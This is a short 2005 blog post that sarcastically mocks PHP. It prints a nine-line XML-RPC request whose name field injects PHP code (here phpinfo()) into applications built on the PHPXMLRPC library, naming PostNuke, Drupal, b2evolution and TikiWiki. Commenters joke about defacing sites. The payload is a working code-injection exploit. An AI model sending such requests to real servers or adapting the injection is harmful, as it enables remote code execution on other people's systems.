Stephen Thorne ([info]jerub) wrote,
@ 2005-07-05 17:17:00
Previous Entry  Add to memories!  Tell a Friend!  Next Entry
Tee Hee
PHP. Isn't it the best programming language, like, ever!

Look! You can even execute arbitary code in 9 lines of XML! Just set up an application that uses PHPXMLRPC like PostNuke, Drupal, b2evolution or TikiWiki, and fire off a request that looks like this:
<?xml version="1.0"?>
<methodCall>
<methodName>test.method</methodName>
    <params>
	<param>
	     <value><name>','')); phpinfo(); exit;/*</name></value>
	</param>
    </params>
</methodCall>
Volla! You've now written your first php program!



(Post a new comment)


[info]nakedmidget
2005-07-06 09:59 am UTC (link)
but.... it doesn't say hello world ANYWHERE in there

(Reply to this) (Thread)


[info]jerub
2005-07-06 11:55 am UTC (link)
Nothing says hello world quite like "j00 R p0wnZed - credz to Jerub and Rasmus"

(Reply to this) (Parent)


Create an Account
Forgot your login or password?
Login w/ OpenID
English • Español • Deutsch • Русский…